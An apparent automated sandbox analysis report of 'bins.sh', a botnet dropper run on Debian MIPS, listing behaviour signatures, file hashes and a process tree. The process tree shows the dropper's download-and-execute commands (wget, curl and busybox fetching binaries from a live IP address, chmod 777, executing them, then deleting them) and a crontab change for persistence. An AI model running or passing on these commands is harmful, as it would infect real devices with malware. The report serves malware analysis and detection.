Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-11-2024 23:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    aecf915310e1b57ef84716e66275886b

  • SHA1

    eaa2d293615be82294c26ce4ff7a6bce993a2ecb

  • SHA256

    f5c6280c3983c239bf19b631fc87ab2890152c0a2006b38e0fd28149fcfdc131

  • SHA512

    f892615bfb3e780d6e1e64bff72196a66fe9e933e68d91c63cda8b389afb37f7468f5ab14b3a326236b6f3087003b47f7465dd932ac592ecb3d8f0feb674e351

  • SSDEEP

    96:sf/9QyowY9pP4c92aKRZeNNLQ12R8+4q92aKRZy3NNLQ1yYiB86xf/gFC7owY9py:CQyowY9pPr1R1owY9py

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1850) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:735
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          ./pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            ./mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Executes dropped EXE
            PID:749
          • /bin/rm
            rm mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
              PID:751
            • /usr/bin/wget
              wget http://216.126.231.240/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Writes file to tmp directory
              PID:752
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:757
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Writes file to tmp directory
              PID:767
            • /bin/chmod
              chmod 777 dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • File and Directory Permissions Modification
              PID:773
            • /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              ./dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Executes dropped EXE
              PID:774
            • /bin/rm
              rm dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
                PID:777
              • /usr/bin/wget
                wget http://216.126.231.240/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Writes file to tmp directory
                PID:779
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Writes file to tmp directory
                PID:787
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/chmod
                chmod 777 j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • File and Directory Permissions Modification
                PID:807
              • /tmp/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                ./j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:808
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:810
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:811
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:812
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:813
                    • /bin/rm
                      rm j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                      2⤵
                        PID:815
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                          PID:818
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                          2⤵
                            PID:819
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                            2⤵
                            • Writes file to tmp directory
                            PID:887
                          • /bin/chmod
                            chmod 777 xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                            2⤵
                            • File and Directory Permissions Modification
                            PID:906
                          • /tmp/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                            ./xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                            2⤵
                            • Executes dropped EXE
                            PID:907
                          • /bin/rm
                            rm xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                            2⤵
                              PID:909
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                              2⤵
                                PID:910
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                                2⤵
                                  PID:911
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:912
                                • /bin/chmod
                                  chmod 777 IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:913
                                • /tmp/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                                  ./IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                                  2⤵
                                  • Executes dropped EXE
                                  PID:914
                                • /bin/rm
                                  rm IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                                  2⤵
                                    PID:916
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                                    2⤵
                                      PID:917
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                                      2⤵
                                        PID:922

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D

                                      Filesize

                                      112KB

                                      MD5

                                      05d7857dcead18bbd86d2935f591873c

                                      SHA1

                                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                                      SHA256

                                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                      SHA512

                                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                    • /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

                                      Filesize

                                      141KB

                                      MD5

                                      3ca8decdb1e52c423c521bfff02ac200

                                      SHA1

                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                      SHA256

                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                      SHA512

                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                    • /tmp/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

                                      Filesize

                                      98KB

                                      MD5

                                      5141342d0df8699fa32a6b066a0c592e

                                      SHA1

                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                      SHA256

                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                      SHA512

                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                    • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW

                                      Filesize

                                      107KB

                                      MD5

                                      eb9c3a0de91fcf16ba17cb24608df68c

                                      SHA1

                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                      SHA256

                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                      SHA512

                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                    • /tmp/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K

                                      Filesize

                                      111KB

                                      MD5

                                      ca897a38f23ec23521ce0b1b83f8422d

                                      SHA1

                                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                      SHA256

                                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                      SHA512

                                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                    • /var/spool/cron/crontabs/tmp.f8Nadk

                                      Filesize

                                      210B

                                      MD5

                                      1501408af727c020f60ad86a97d47d75

                                      SHA1

                                      384ea7d6c86e8a7d12168958ff381b35345016ac

                                      SHA256

                                      ebbebad2382bc1e1221fe56b8923d2dd699cc438706c95fec665951bc5209258

                                      SHA512

                                      ed0d96699fe11c45ebc4f708a25832dffb175c4ee9f90475f5f87183a777cc557b4bb34b772ed178f68020219136e5dadb98d348ec000d9fd52fee0cb284e227